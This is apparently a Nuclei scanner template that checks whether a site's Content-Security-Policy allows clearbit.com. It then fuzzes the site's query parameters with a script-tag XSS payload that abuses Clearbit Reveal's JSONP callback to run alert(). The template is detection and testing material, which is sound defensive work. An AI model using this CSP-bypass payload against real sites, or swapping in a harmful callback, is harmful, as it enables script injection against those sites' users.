id: clearbit-reveal-csp-bypass

info:
  name: Content-Security-Policy Bypass - Clearbit Reveal
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,clearbit-reveal

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "clearbit.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: clearbit_reveal_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://reveal.clearbit.com/v1/companies/reveal?authorization=pk_5fdce9b9374f2f8a4f8c9f4a1546fa35&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "clearbit_reveal_csp_xss == true"
# digest: 4a0a00473045022100f5b2455ac20ac8c50e8c6d59e618e197b92590cf7e434c51e3ad9d77fa075ddb02207ef45df9fa4aa705aa5444a71a8316cc02442565c546135edc1495fa9b47d7ce:922c64590222798bb761d5b6d8e72950